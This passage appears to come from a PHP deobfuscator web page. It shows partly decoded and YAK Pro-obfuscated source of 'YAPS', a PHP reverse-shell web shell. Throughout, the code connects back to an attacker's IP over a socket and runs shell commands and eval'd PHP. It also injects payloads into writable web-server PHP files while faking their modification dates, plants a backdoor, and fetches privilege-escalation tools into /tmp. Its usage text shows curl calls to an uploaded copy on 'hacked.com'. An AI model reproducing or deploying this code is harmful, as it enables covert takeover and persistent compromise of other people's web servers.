" . BzvnC("ls -l " . $EhHpY . "\xa")); goto AdJJN; AdJJN: return false; goto EQJ6e; x3zg0: if (file_put_contents($EhHpY, $us4GA)) { goto QGwQS; } goto g3aLk; gllVf: u2JKx: goto ab_XC; sQeyu: global $uUZsy, $EhHpY, $uAREj; goto e2J7z; EQJ6e: goto u2JKx; goto iGffJ; PZfBw: return true; goto gllVf; Y3LgT: siqAA: goto zT0hQ; N04gE: $us4GA = preg_replace("/[a-f0-9]{128}/", $jlU8Z, $jO22u, 1); goto x3zg0; V68sK: fwrite($uAREj, RM3Ui("[+] ") . "Password changed. Changes will take effect on next connection.
"); goto PZfBw; iGffJ: QGwQS: goto V68sK; ab_XC: } goto KDFO8; nay2i: function m25sq() { } goto y6Uvy; eH1Oj: die("baguvix"); goto wb4ms; FuViR: function NtGbG() { global $KmlyU, $XmTBN; return $KmlyU . "\xa" . Uih9i("Usage:") . YMapn("\xaThere are three ways you can start the connection:
") . RM3Ui("1. Via command line in the compromised host;") . "
\x9E.g: $ php yaps.php [options] [ip port|ip:port]\xa" . Rm3Ui("2. Making a POST request to the file with the parameter "x";") . "\xa\x9E.g: $ curl -X POST -d "x=192.168.73.59:7359" hacked.com/uploads/yaps.php\xa" . RM3ui("3. Making a GET request without parameters (will connect to the hardcoded socket);") . "
\x9E.g: $ curl hacked.com/uploads/yaps.php
" . uih9I("Options:") . ymApn("\xa-h, --help: Show this help
-s, --silent: Silent mode (does not display banner)
-u, --update: Check if YAPS is up to date
") . uIh9i("Examples (suppose your IP is 192.168.73.59):") . "\xainfected@host:~$ php yaps.php -s 192.168.73.59 4444\xainfected@host:~$ php yaps.php 192.168.73.59:8080
your@machine:~$ curl -X POST -d "x=192.168.73.59" hacked.com/uploads/yaps.php\xa"; } goto i3xUL; QV346: if (!(isset($Iw5kV["h"]) || isset($Iw5kV["help"]))) { goto BGBwI; } goto hxy3O; n2PRj: if (!(isset($_POST["x"]) && strpos($_POST["x"], ":") !== false)) { goto PDG9R; } goto r0TwU; ZctMm: ASbwt(); goto SDnyY; YGibI: $Iw5kV = getopt($yR2xc, $RkFaU); goto QV346; EZJTP: $zQ6An = false; goto vGyvo; cqC3Y: if (!(isset($Iw5kV["u"]) || isset($Iw5kV["update"]))) { goto NxhnN; } goto oSjzr; mnyVm: die(LZMTi("[-] ") . "Couldn't connect to socket {$Wl17t}:{$CjcQS}."); goto tab3p; hT16v: $gSKFu = "[YAPS] " . str_replace(PHP_EOL, '', rm3UI(bZVnC("whoami") . "@" . BzvnC("hostname")) . ":" . CeJHD(BzvNc("pwd")) . "$ "); goto VZr6w; sGI8N: foreach ($argv as $Ydm3e) { goto sxhpU; l7Tx2: grueb: goto OYO0E; qe_Mi: C_m3t: goto l7Tx2; lQX9T: $CjcQS = (int) $e18Ij[1]; goto qe_Mi; LGPgk: $Wl17t = $e18Ij[0]; goto lQX9T; lH1eP: $e18Ij = explode(":", $Ydm3e); goto LGPgk; sxhpU: if (!(strpos($Ydm3e, ":") !== false)) { goto C_m3t; } goto lH1eP; OYO0E: } goto B2xYa; Jm4uO: function Uih9i($bQ2ee) { global $ClNqn; return $ClNqn ? "\x1b[93m" . $bQ2ee . "\x1b[0m" : $bQ2ee; } goto iUYCi; nzJCo: function MmrwO($Xlgnb, $tUEF_) { goto h3Zsq; D1aY7: $va7Pj = fopen($tUEF_ . "/" . $lb0qE, "w"); goto RuyBH; BsXUV: MfLrK: goto YHpZ1; h3Zsq: $lb0qE = rhols(); goto FtTlM; B2b41: if (!file_put_contents($tUEF_ . "/" . $lb0qE, $D4Qq1)) { goto vhYJi; } goto qRG8p; yuVVf: if (!(hHLp3("fopen") && HHlP3("fwrite") && hhLP3("fclose"))) { goto MfLrK; } goto D1aY7; RuyBH: if (!fwrite($va7Pj, $D4Qq1)) { goto LnwId; } goto sTEzV; UVfDH: vhYJi: goto mcAA2; aZ1t2: if (!HHLp3("file_put_contents")) { goto FhaJi; } goto B2b41; FtTlM: $D4Qq1 = opHcX($Xlgnb); goto aZ1t2; YHpZ1: return false; goto npX10; Neb4W: return $lb0qE; goto IGLA0; qRG8p: return $lb0qE; goto UVfDH; IGLA0: LnwId: goto BsXUV; mcAA2: FhaJi: goto yuVVf; sTEzV: fclose($va7Pj); goto Neb4W; npX10: } goto cBNkT; lA80q: jF4yA: ?>Did this file decode correctly?
Original Code
<?php
/* __________________________________________________
| Obfuscated by YAK Pro - Php Obfuscator 2.0.14 |
| on 2024-04-04 18:27:27 |
| GitHub: https://github.com/pk-fr/yakpro-po |
|__________________________________________________|
*/
goto JMUGz; aJdR4: ini_set("\144\x65\x66\x61\x75\154\x74\137\163\x6f\x63\153\145\x74\x5f\164\x69\155\145\157\x75\x74", pow(99, 6)); goto nCd4J; zlVrl: czOW3(); goto CzWyS; Bw2dj: $EhHpY = $_SERVER["\123\103\122\x49\120\x54\137\106\111\x4c\x45\116\101\115\x45"]; goto n2PRj; HZHPd: function czQ9m($rFV9h) { try { goto YlfSP; PbGH6: ob_end_clean(); goto ckewG; GM5qL: eval($rFV9h); goto fvd1h; fvd1h: $i38Bj = ob_get_contents(); goto PbGH6; YlfSP: ob_start(); goto GM5qL; ckewG: } catch (Throwable $srk7C) { $P0Bdv = explode("\123\x74\141\143\x6b\x20\x74\x72\x61\x63\x65\72", $srk7C); $i38Bj = $P0Bdv[0]; } return $i38Bj; } goto w5lY4; dm7dR: set_time_limit(0); goto gYSdN; IOUb8: function VJK3r($Lz63_, $rvjgd, $DvC08, $SXU1U, $K2VNX = 1) { goto tgyJq; wr9sI: return; goto nlij9; YtV7p: fwrite($uAREj, Uih9I("\12\133\41\135\40") . ymaPN("\x46\151\x6c\x65\163\x20\x74\x6f\x20\x69\x6e\x66\x65\143\x74\72\xa")); goto C7GO1; B35nn: UI6RY: goto tbULK; O_Dnv: return; goto wBOTd; X4Syp: pxIm9: goto p79Sl; yMsQy: tv0av: goto wr9sI; tbULK: if (!($WDRCn = fread($uAREj, 128))) { goto dvqLO; } goto ujWJl; Ls03d: $R36Nt = $SXU1U[array_keys($SXU1U)[$DvC08]]; goto YtV7p; C7GO1: foreach ($rvjgd as $t3YQ8) { fwrite($uAREj, $Lz63_[$t3YQ8] . "\12"); KMoxj: } goto X4Syp; dZAdC: fwrite($uAREj, CEJHd("\133\77\135\40") . ymApn("\x41\162\x65\x20\x79\x6f\x75\x20\163\x75\162\x65\40\x79\157\165\40\167\141\x6e\x74\40\164\x6f\40\151\156\x66\145\x63\x74\40\164\x68\x6f\163\145\x20\146\x69\154\145\x73\x3f\x20\x5b\131\57\x6e\135")); goto B35nn; dOqgC: goto UI6RY; goto JQu_D; aowjs: fwrite($uAREj, uIH9I("\133\x21\x5d\40") . ymaPN("\120\157\x73\x69\x74\x69\x6f\x6e\72\40") . $RgHUy . "\12"); goto dZAdC; fslcB: foreach ($rvjgd as $t3YQ8) { goto IfQdr; IfQdr: $j7MsT = $Lz63_[$t3YQ8]; goto yiRf3; dcyKJ: ghPK4: goto ZooJd; ta9nH: I1A6F: goto Cd3Df; YIBsw: fwrite($uAREj, rm3Ui("\133\53\x5d\x20") . YmapN("\115\x61\x6e\164\x61\x69\x6e\x65\x64\40\x6f\162\x69\x67\151\156\141\x6c\40\x27\155\157\144\151\x66\151\x65\144\40\144\141\x74\x65\x27\x20\x28" . $uUi6C . "\51\x2e\12")); goto ner0j; M0xjc: $hUeeX = file_get_contents($j7MsT); goto ls1fL; ls1fL: $uUi6C = str_replace("\12", '', BzvNc("\x73\164\141\x74\x20" . $j7MsT . "\x20\174\40\x67\x72\145\x70\40\115\157\x64\x69\146\x79\40\174\40\x73\145\x64\40\x22\x73\x2f\x4d\157\x64\151\146\171\72\x20\57\57\42")); goto P6Dq4; yiRf3: if (!(HhLP3("\146\x69\154\x65\137\x67\145\164\137\143\157\x6e\x74\145\x6e\x74\163") && hhlP3("\146\151\154\145\137\x70\x75\x74\137\x63\157\x6e\x74\x65\156\164\x73"))) { goto I1A6F; } goto M0xjc; ner0j: VJPfM: goto ta9nH; Cd3Df: yG8ZP: goto WGZx3; K5fs_: $i38Bj = $C32fI ? rm3Ui("\x5b\53\135\x20") . YmAPN($j7MsT . "\40\167\x61\163\40\x69\156\146\145\143\x74\x65\x64\x20\x77\x69\164\150\40\160\141\171\154\157\x61\x64\40\41") : lzmti("\133\55\135\x20") . ymAPn($j7MsT . "\x20\105\162\162\157\x72\41"); goto pBbo7; ZooJd: $C32fI = file_put_contents($j7MsT, "\12" . $R36Nt, FILE_APPEND) ? 1 : 0; goto cakp5; dz4Wj: $C32fI = file_put_contents($j7MsT, $R36Nt . "\xa" . $hUeeX) ? 1 : 0; goto Pzav0; P6Dq4: if ($K2VNX) { goto ghPK4; } goto dz4Wj; XCvXC: if (!bZVNC("\x74\x6f\165\143\x68\x20\55\144\x20" . "\x22" . $uUi6C . "\x22\x20" . $j7MsT)) { goto VJPfM; } goto YIBsw; cakp5: LjFzp: goto K5fs_; Pzav0: goto LjFzp; goto dcyKJ; pBbo7: fwrite($uAREj, $i38Bj . "\xa"); goto XCvXC; WGZx3: } goto yMsQy; SPyxv: goto dvqLO; goto dOqgC; tKg44: $RgHUy = $K2VNX ? "\105\x6e\x64\40\x6f\146\40\146\151\154\145" : "\x42\145\x67\x69\x6e\156\151\x67\40\x6f\146\40\146\x69\x6c\x65"; goto aowjs; ujWJl: if (!(strtolower(substr($WDRCn, 0, 1)) == "\156")) { goto mmE5k; } goto O_Dnv; wBOTd: mmE5k: goto SPyxv; JQu_D: dvqLO: goto fslcB; tgyJq: global $uAREj; goto Ls03d; p79Sl: fwrite($uAREj, uIh9i("\x5b\x21\135\40") . ymApN("\x50\141\x79\x6c\x6f\141\x64\x3a\40") . $SXU1U[array_keys($SXU1U)[$DvC08]] . "\xa"); goto tKg44; nlij9: } goto YaCvK; H4kyF: function RM3ui($bQ2ee) { global $ClNqn; return $ClNqn ? "\x1b\x5b\x39\x32\155" . $bQ2ee . "\33\133\x30\155" : $bQ2ee; } goto c5Pzw; hfSnH: $vz1IG = array("\141\x6c\154\x2d\143\x6f\154\x6f\x72\163", "\143\157\154\157\x72", "\144\x75\160\x6c\151\143\x61\164\x65", "\x65\x6e\x75\155", "\x68\x65\x6c\x70", "\151\156\x66\145\143\x74", "\151\156\146\157", "\160\x61\163\x73\x77\x64", "\160\x68\160", "\163\x74\141\142\x69\x6c\151\172\x65", "\x73\165\147\147\x65\163\x74\x65\162"); goto H4kyF; UgTp6: $CjcQS = $argv[$argc - 1]; goto p3eaK; B2xYa: J2gPr: goto J8NCM; ZBwG1: $uUZsy = "\166\x5f\63\137\162\x5f\131\137\137\137\x47\x5f\x6f\x5f\60\137\x64\x5f\x5f\x5f\163\x5f\64\x5f\x4c\x5f\164"; goto v0h68; veAgt: if (!(php_sapi_name() == "\143\x6c\x69")) { goto MNvlR; } goto yAdGD; nVCFn: function QsI61() { goto SV3tv; Mifx4: vIsRe: goto UEVRz; j4oeU: if (!(substr($bNZa2, 0, -1) == "\x21\160\150\x70")) { goto qbHty; } goto RFq5p; dPd4z: Wxc5g: goto PAx_E; SbK3Y: $zk4yc = ''; goto ljy7R; vYYqG: qbHty: goto i8EpE; ELu9H: aFEBz: goto WiqQC; ljy7R: fwrite($uAREj, cEjhD("\133\x2a\135") . "\x20\x57\162\x69\x74\145\40\x79\157\165\162\x20\x50\110\120\40\x63\157\x64\x65\x20\x28\52\x77\x69\x74\150\x6f\165\164\x2a\x20\120\110\120\x20\164\x61\x67\163\51\56\x20\124\x6f\x20\163\145\156\144\40\x61\x6e\x64\40\162\165\156\40\151\164\x2c\40\165\x73\x65\x20" . rm3UI("\41\160\x68\x70") . "\56\x20" . Uih9I("\12\x5b\151\135\40\x4e\x6f\164\x65\40\164\150\141\164\x20\164\150\151\163\40\151\x73\x20\116\x4f\124\x20\141\x6e\40\x69\156\164\x65\x72\141\x63\x74\x69\166\x65\40\x50\x48\120\x20\163\150\145\154\154\x2e\40\x4d\141\x78\40\x69\156\x70\x75\164\72\x20\64\x30\x39\66\40\142\x79\164\x65\x73\56") . YMapN("\xa\x70\x68\x70\76\x20")); goto ELu9H; hrxNa: goto aFEBz; goto Mifx4; RFq5p: return $zk4yc; goto vYYqG; PAx_E: fwrite($uAREj, yMAPN("\x70\150\x70\76\x20")); goto tQBvY; UEVRz: return $zk4yc; goto zKntQ; tQBvY: $zk4yc .= $bNZa2; goto hrxNa; WiqQC: if (!($bNZa2 = fread($uAREj, 4096))) { goto vIsRe; } goto j4oeU; i8EpE: if (!(substr($bNZa2, 0, -1) == "\x21\x63\x61\x6e\143\145\x6c")) { goto Wxc5g; } goto j77O5; SV3tv: global $uAREj; goto SbK3Y; j77O5: return 0; goto dPd4z; zKntQ: } goto HZHPd; YaCvK: function aoHHH($sIHbJ) { goto iQwjW; iQwjW: global $uAREj, $ClNqn; goto YLgPu; YLgPu: switch (substr($sIHbJ, 0, -1)) { case "\41\141\x6c\x6c\55\x63\x6f\x6c\157\x72\x73": $ClNqn = !$ClNqn; goto z9P6Y; case "\41\151\x6e\146\x6f": return yYiTv(); goto z9P6Y; case "\x21\x65\156\165\155": return AXk_3(); goto z9P6Y; case "\x21\163\165\x67\147\145\163\x74\145\162": return MEpQE(); goto z9P6Y; case "\41\x63\157\x6c\157\162": xTds8(true); goto z9P6Y; case "\41\150\x65\x6c\x70": return bRebe(); goto z9P6Y; case "\x21\x70\x68\160": goto A_30j; smMop: fwrite($uAREj, uIH9i("\x5b\151\135\40\103\157\144\x65\40\143\141\x6e\x63\145\x6c\145\x64\56") . PHP_EOL); goto YFdv1; A_30j: $J9WMu = QsI61(); goto dbsFZ; BSkhU: $i38Bj = cZq9M($J9WMu); goto OJFPX; dbsFZ: if ($J9WMu !== 0) { goto HCXQf; } goto smMop; KMemZ: HCXQf: goto BSkhU; YFdv1: goto zlxVM; goto KMemZ; iXrjF: goto z9P6Y; goto BE3zL; OJFPX: fwrite($uAREj, $i38Bj); goto ZAwb8; ZAwb8: zlxVM: goto iXrjF; BE3zL: case "\x21\x73\x74\x61\142\x69\x6c\x69\172\x65": Efz2Z(); goto z9P6Y; case "\x21\142\141\x63\153\144\x6f\x6f\162": M25sq(); goto z9P6Y; case "\x21\160\x61\x73\163\x77\144": PLGiC(); goto z9P6Y; case "\x21\x64\165\160\x6c\151\143\141\164\x65": b6sAl(); goto z9P6Y; case "\x21\x69\156\146\x65\x63\x74": kLJ6w(); goto z9P6Y; } goto X5UxC; wbagj: z9P6Y: goto laizs; X5UxC: MZ_g5: goto wbagj; laizs: } goto gGtkD; hxy3O: die(NTGbG()); goto jySDw; HFUZx: function bREBE() { $IMSUg = "\12" . rm3uI("\125\163\x65\x66\x75\154\40\143\x6f\155\x6d\141\156\144\163\x3a") . "\12\40\x20" . CEjhd("\41\x68\145\x6c\x70") . "\xa\x20\40\11\104\151\163\160\x6c\141\171\40\164\x68\151\163\x20\x6d\145\x6e\165\12\40\40" . cEjHd("\x21\x61\x6c\154\x2d\x63\x6f\154\157\x72\x73") . "\12\x20\40\x9\x54\157\147\147\154\x65\x20\141\154\x6c\40\143\x6f\x6c\157\162\163\40\x28\x6c\157\x63\x61\154\154\x79\40\157\156\x6c\x79\x29\12\40\40" . ceJHd("\41\143\157\x6c\x6f\162") . "\xa\x20\40\x9\124\157\147\x67\154\145\x20\44\120\x53\x31\40\x63\157\x6c\x6f\162\x20\x28\154\157\143\141\x6c\x6c\x79\x20\x6f\x6e\x6c\x79\x29\12\x20\x20" . ceJhd("\41\x64\165\160\x6c\151\x63\x61\164\145") . "\xa\40\x20\x9\123\160\141\167\x6e\40\141\156\157\164\150\145\x72\x20\x72\145\166\145\x72\x73\145\x20\x73\x68\145\154\x6c\12\40\x20" . cejhD("\41\x65\x6e\165\155") . "\xa\40\40\11\x44\x6f\x77\156\x6c\157\x61\x64\x20\x4c\x69\156\160\145\x61\x73\40\141\x6e\x64\40\114\x69\156\145\156\165\x6d\40\x74\157\40\57\x74\155\x70\40\x61\156\144\40\x67\x65\x74\40\151\x74\40\162\145\141\x64\171\40\x74\157\40\x72\165\x6e\xa\40\40" . cEJhd("\x21\151\156\x66\145\x63\x74") . "\xa\x20\40\11\x49\x6e\152\x65\x63\x74\x20\160\x61\x79\154\x6f\x61\x64\163\x20\x69\156\x74\x6f\40\120\110\x50\x20\146\151\154\145\163\12\40\40" . cEJhd("\41\x69\156\146\x6f") . "\xa\40\40\11\114\151\163\164\x20\151\x6e\146\x6f\162\x6d\141\x74\x69\x6f\x6e\x20\x61\x62\x6f\165\164\40\164\141\x72\147\145\164\xa\40\x20" . cejHd("\x21\x70\x61\x73\x73\167\144") . "\xa\x20\40\x9\123\x68\157\167\x20\157\160\164\151\157\156\163\x20\146\x6f\162\40\x70\141\163\x73\167\157\x72\x64\11\xa\x20\x20" . cEJhD("\x21\x70\150\x70") . "\12\40\40\11\x57\x72\x69\x74\145\40\141\x6e\144\x20\x72\165\x6e\x20\120\110\x50\x20\143\x6f\144\145\40\x6f\156\40\164\150\x65\40\162\x65\x6d\157\x74\x65\x20\150\157\163\x74\12\x20\40" . CEJHd("\x21\x73\x74\141\142\151\x6c\151\x7a\145") . "\xa\40\x20\x9\x53\x74\141\142\151\x6c\x69\x7a\x65\x20\x74\157\40\141\x6e\x20\x69\x6e\164\145\x72\141\143\x74\x69\x76\145\x20\163\150\x65\154\x6c\12\x20\x20" . Cejhd("\x21\163\x75\x67\x67\145\x73\x74\x65\162") . "\xa\40\40\x9\104\157\167\156\154\x6f\x61\144\40\x4c\151\x6e\165\170\40\x45\x78\160\x6c\157\151\164\x20\x53\165\147\x67\145\163\x74\x65\x72\40\x74\157\x20\x2f\164\x6d\160\x20\x61\x6e\x64\40\147\145\x74\40\151\x74\40\162\145\x61\144\171\40\164\x6f\40\x72\x75\x6e\xa\40\x20\xa" . Rm3uI("\103\157\155\x6d\141\x6e\x64\x20\x6c\x69\156\x65\x20\157\160\x74\151\x6f\156\163\x3a") . "\xa\x20\x20" . YmAPN("\44\40\x70\150\x70\40\x79\141\160\x73\56\160\150\160\40\x5b\x2d\55\x75\160\144\x61\x74\145\x7c\x2d\x75\x5d") . "\xa\x20\x20\x9\103\150\x65\143\153\x20\x69\x66\40\131\x41\x50\x53\40\151\163\40\x75\x70\x20\x74\157\x20\144\141\x74\x65\xa\40\40" . ymAPN("\x24\40\x70\x68\x70\x20\x79\x61\x70\163\x2e\160\x68\160\40\x69\160\40\x70\x6f\162\164") . "\12\40\x20\11\x43\157\156\156\145\x63\164\40\x74\157\40\x69\x70\72\x70\157\x72\x74\xa"; return $IMSUg; } goto yJZWv; JMUGz: $XmTBN = "\x31\x2e\63\56\x31"; goto dm7dR; B5wRw: function czOW3() { goto cH6G5; r29JD: f9bls: goto wZGGL; nwDX0: inj1g: goto YMTXR; vuvKz: fclose($uAREj); goto krwcw; wZGGL: xTds8(); goto Unb5A; NJ6uD: goto ySxA7; goto vOgK5; u6aqY: if (!$KQI8m) { goto lJjvo; } goto AMrME; XIYbJ: if (!($bNZa2 = fread($uAREj, 2048))) { goto SRT0L; } goto e217Q; u8r6Y: fwrite($uAREj, "\xa" . $gSKFu); goto glRx0; sFw2e: die; goto O2u39; dQU58: h_U9C: goto cVefE; fBIkS: fclose($uAREj); goto sFw2e; lIamN: SWlmc: goto PxkV3; Lh4zS: RJi8r: goto LlAGZ; J3Fv0: Pax6N: goto U_rU9; U_rU9: if (in_array(strtolower(substr($bNZa2, 1, -1)), $vz1IG)) { goto SWlmc; } goto FDRWD; sWgLM: if (!($ar5qv === false)) { goto f9bls; } goto HwdSW; bBH90: if (hhLp3("\146\163\157\143\153\157\x70\145\156")) { goto t1CDg; } goto rKBOJ; TBw0b: fwrite($uAREj, v9Mu0() . "\12"); goto nwDX0; JWLqB: if (substr($bNZa2, 0, -1) == "\145\x78\x69\164") { goto SwZuv; } goto YNJI0; cVefE: lJjvo: goto Xpfpr; Xpfpr: if (!(!isset($_REQUEST["\x73\x69\x6c\x65\x6e\164"]) && !isset($_REQUEST["\x73"]) && !$BqeWQ)) { goto inj1g; } goto TBw0b; rKBOJ: die(LZMtI("\x5b\x2d\x5d") . "\x20\x46\x75\x6e\143\x74\151\x6f\x6e\x20\47\146\x73\157\x63\x6b\157\160\145\x6e\x27\40\151\163\156\47\x74\40\x61\x76\x61\151\154\141\x62\x6c\145\x2e"); goto nkBwq; LYHVp: goto IB65f; goto x9fhw; cH6G5: global $KQI8m, $vz1IG, $gSKFu, $uAREj, $BqeWQ; goto BBmAM; vOgK5: SRT0L: goto vuvKz; nzn_T: chdir(substr($bNZa2, 3, -1)); goto LYHVp; lL4LK: uXhVA: goto nzn_T; x9fhw: SwZuv: goto A1bdp; AMrME: if (m27Fs()) { goto h_U9C; } goto LQgl2; cpQUj: goto RJi8r; goto lIamN; YMTXR: XtDs8(); goto u8r6Y; FDRWD: G7WgI(substr($bNZa2, 1, -1)); goto cpQUj; c1EyP: goto SRT0L; goto r29JD; HwdSW: fwrite($uAREj, lZMTI("\133\x2d\x5d\40\124\x68\x65\x72\x65\x20\141\x72\x65\x20\x6e\157\x20\x65\x78\145\143\x20\146\165\x6e\143\x74\x69\157\156\x73")); goto c1EyP; d2N1o: goto IB65f; goto J3Fv0; e217Q: $ar5qv = ''; goto kz_jA; A1bdp: fwrite($uAREj, UiH9I("\133\x69\x5d\40") . "\x43\154\x6f\x73\151\156\x67\x20\143\157\156\156\145\x63\x74\151\x6f\156\56\12"); goto fBIkS; O2u39: IB65f: goto sWgLM; glRx0: ySxA7: goto XIYbJ; nkBwq: t1CDg: goto u6aqY; LlAGZ: goto IB65f; goto lL4LK; Unb5A: fwrite($uAREj, $ar5qv . $gSKFu); goto NJ6uD; PxkV3: $ar5qv = AoHHH($bNZa2); goto Lh4zS; kz_jA: if (substr($bNZa2, 0, 1) == "\x21") { goto Pax6N; } goto zsgxT; BBmAM: xTdS8(1); goto bBH90; zsgxT: if (substr($bNZa2, 0, 3) == "\x63\144\x20") { goto uXhVA; } goto JWLqB; LQgl2: die(fwrite($uAREj, LZmTI("\133\55\x5d") . "\40\127\162\157\156\147\x20\x70\141\163\163\x77\x6f\162\144\x2e\xa")); goto dQU58; YNJI0: $ar5qv = BZvNc(substr($bNZa2, 0, -1)); goto d2N1o; krwcw: } goto D9Cb3; K_HTG: function KLj6W() { goto jjx5o; C41Rm: if (!($LX188 = fread($uAREj, 1024))) { goto GNpp7; } goto srf7i; Xhhis: iNDIq: goto m0AMp; agQlA: if (!($MODFS < count($BJg1i))) { goto wAeft; } goto YuHZY; xVjjF: xSG_z($BJg1i, array_unique($eowsL)); goto rriJ2; xTeHL: return; goto Xhhis; GXpaK: GNpp7: goto SSbDT; CaczC: $BJg1i = array(); goto SGscI; SGscI: foreach ($y9OB0 as $JeTvK) { try { $EOdvX = wXEpd($JeTvK); $BJg1i = array_merge($BJg1i, $EOdvX); } catch (Exception $Ja3h6) { } KDyzl: } goto A8sTw; awzLG: crrcD: goto C41Rm; A8sTw: DcIFA: goto hSEO6; YuHZY: fwrite($uAREj, lZMTI("\133{$MODFS}\135\40") . $BJg1i[$MODFS] . PHP_EOL); goto AQ1gG; gBwnN: sort($eowsL, SORT_NUMERIC); goto xVjjF; TWjf4: $y9OB0 = array("\57\166\141\x72\x2f\167\x77\x77\x2f", "\x2f\x73\x72\x76\x2f", "\x2f\165\163\162\57\154\x6f\143\x61\x6c\x2f\x61\160\x61\x63\150\145\x32\x2f", "\x2f\x76\141\162\x2f\x61\x70\141\x63\150\x65\62\57", "\x2f\166\x61\162\x2f\x77\x77\167\57\156\147\151\x6e\170\x2d\144\x65\146\141\165\x6c\164\57"); goto CaczC; m0AMp: $eowsL = array(); goto gOnZy; S53p5: if (!(count($KD2XW) == 1 && $KD2XW[0] == '')) { goto iNDIq; } goto xTeHL; P7W_n: goto X9aNg; goto wSIZn; NCJMG: WAXY_: goto fp4dm; fp4dm: $MODFS = 0; goto I6BJm; PiIqE: Satek: goto gBwnN; rq5F6: fwrite($uAREj, Cejhd("\x5b\52\135\x20") . yMAPN("\106\x6f\165\156\x64\40" . count($BJg1i) . "\x20\x77\x72\x69\164\141\142\154\x65\40\120\110\x50\x20\146\x69\x6c\x65\163\x3a\xa")); goto NCJMG; mFlpA: fwrite($uAREj, cejHd("\12\x5b\52\x5d\x20") . YmAPn("\x43\150\x6f\x6f\163\x65\x20\x74\x68\145\x20\x66\x69\154\145\x73\x20\171\157\x75\40\167\141\x6e\x74\x20\x74\x6f\x20\x69\156\146\x65\x63\x74\x2e\xa\x20\40\x20\40\x53\145\x70\x61\162\141\x74\145\x20\x62\x79\40\x63\x6f\155\155\141\40\x28\145\56\x67\72\x31\54\x35\54\67\x2c\70\51\x20\141\156\144\57\157\x72\40\x62\171\x20\x72\x61\x6e\147\145\40\50\145\56\x67\72\61\x30\55\x31\x36\51\56\12\x20\40\x20\x20\x46\x69\154\145\163\x3a\40")); goto awzLG; rriJ2: return; goto P_XZU; srf7i: $KD2XW = str_replace("\x20", '', substr($LX188, 0, -1)); goto PqeEf; PqeEf: $KD2XW = explode("\54", $KD2XW); goto S53p5; hSEO6: if (!(count($BJg1i) > 0)) { goto WAXY_; } goto rq5F6; wSIZn: wAeft: goto mFlpA; AQ1gG: ci1MK: goto oFHv8; P_XZU: goto crrcD; goto GXpaK; I6BJm: X9aNg: goto agQlA; oFHv8: $MODFS++; goto P7W_n; jjx5o: global $uAREj; goto TWjf4; gOnZy: foreach ($KD2XW as $cPjcu) { goto x31of; JGgkW: j71iF: goto FzfcU; uVYes: if (!((int) $MODFS <= $Awld1[1])) { goto jvKcZ; } goto LtOQp; q80JF: LcwEX: goto RkQWq; aA2lZ: if (!((int) $Awld1[0] < (int) $Awld1[1])) { goto sYStb; } goto lZ8ir; mJP3p: Bs4xZ: goto q80JF; lZ8ir: $MODFS = (int) $Awld1[0]; goto dr3v6; mVyME: array_push($eowsL, $cPjcu); goto hjD2t; l79U0: jvKcZ: goto SsiTe; FzfcU: $MODFS++; goto pAVqJ; dr3v6: jRf0h: goto uVYes; pAVqJ: goto jRf0h; goto l79U0; CvgcJ: if (!preg_match("\57\136\x5b\60\55\x39\135\53\134\55\x5b\x30\55\x39\x5d\x2b\x24\x2f", $cPjcu)) { goto Bs4xZ; } goto QQlY0; LtOQp: array_push($eowsL, $MODFS); goto JGgkW; hjD2t: Loj3L: goto CvgcJ; SsiTe: sYStb: goto mJP3p; x31of: if (!preg_match("\x2f\x5e\133\x30\x2d\71\x5d\x2b\x24\x2f", $cPjcu)) { goto Loj3L; } goto mVyME; QQlY0: $Awld1 = explode("\55", $cPjcu); goto aA2lZ; RkQWq: } goto PiIqE; SSbDT: } goto Aj1pL; iUYCi: function CejHD($bQ2ee) { global $ClNqn; return $ClNqn ? "\x1b\133\x39\x36\x6d" . $bQ2ee . "\33\x5b\x30\155" : $bQ2ee; } goto rvUIS; i3xUL: function HHlP3($GEbId) { goto e6y8F; rEpOX: $et_m0 = explode("\54", $et_m0); goto VF1TO; cotKa: $et_m0 = array(); goto G1i_q; e6y8F: $et_m0 = ini_get("\x64\151\x73\141\142\x6c\145\137\x66\165\x6e\x63\x74\x69\157\156\163"); goto Xr8J0; p_Ziu: $et_m0 = preg_replace("\x2f\x5b\x2c\x20\x5d\x2b\57", "\54", $et_m0); goto rEpOX; G1i_q: goto rTqWt; goto Hezcx; hCxXy: if (!(is_callable($GEbId) and !in_array($GEbId, $et_m0))) { goto xSrVc; } goto MoHks; MoHks: return true; goto zWRAy; VF1TO: $et_m0 = array_map("\164\162\x69\155", $et_m0); goto BYZOn; zWRAy: xSrVc: goto kbzLL; BYZOn: rTqWt: goto hCxXy; Hezcx: pdyjU: goto p_Ziu; kbzLL: return false; goto o4G5z; Xr8J0: if (!empty($et_m0)) { goto pdyjU; } goto cotKa; o4G5z: } goto HFUZx; gGtkD: function G7WgI($TiuDK) { goto WJE2_; kUQnB: return; goto p00eP; WJE2_: global $uAREj, $vz1IG; goto XExEG; BnWFV: fwrite($uAREj, uIh9i("\x5b\x21\x5d\40") . "\x43\x6f\x6d\155\x61\x6e\x64\x20\x27\41" . substr($bNZa2, 1, -1) . "\47\x20\156\157\x74\x20\146\157\x75\156\x64\x2e\x20\125\x73\x65\x20\41\150\145\154\x70\56\xa"); goto kUQnB; XExEG: foreach ($vz1IG as $JmfRJ) { goto Y70c5; hI8JC: return; goto XoOmW; Y70c5: similar_text($TiuDK, $JmfRJ, $u97Yb); goto Qq9NX; XoOmW: Uxz3D: goto f9LGb; Qq9NX: if (!($u97Yb > 70)) { goto Uxz3D; } goto nBqTe; f9LGb: pjpT4: goto XnWS6; nBqTe: fwrite($uAREj, UiH9i("\133\41\x5d\x20") . "\x43\x6f\155\155\141\x6e\144\x20\x27\x21{$TiuDK}\x27\x20\156\157\164\x20\146\157\165\x6e\x64\56\40\104\x69\x64\40\171\157\165\x20\155\145\141\x6e\x20\x27\x21" . $JmfRJ . "\x27\x3f\56\xa"); goto hI8JC; XnWS6: } goto qw5Q2; qw5Q2: Jon77: goto BnWFV; p00eP: } goto B5wRw; k9Frq: function B6SAl() { goto ysJIN; pnm3O: goto guM0y; goto SiaeP; SiaeP: goto TnQlC; goto bz7cG; kP5SX: $kDqsR = base64_encode($kDqsR) == "\103\x67\75\x3d" ? $CjcQS : substr($kDqsR, 0, -1); goto kSZiQ; vqnpF: $RlFkX = $_SERVER["\x52\x45\121\125\x45\123\x54\137\x53\x43\x48\105\x4d\105"] . "\72\x2f\57" . $_SERVER["\x48\x54\x54\x50\137\110\117\123\124"] . $_SERVER["\122\x45\121\x55\x45\123\124\x5f\125\x52\111"]; goto tpU5_; jbgPM: if (!($fDsny = fread($uAREj, 256))) { goto guM0y; } goto X77z1; 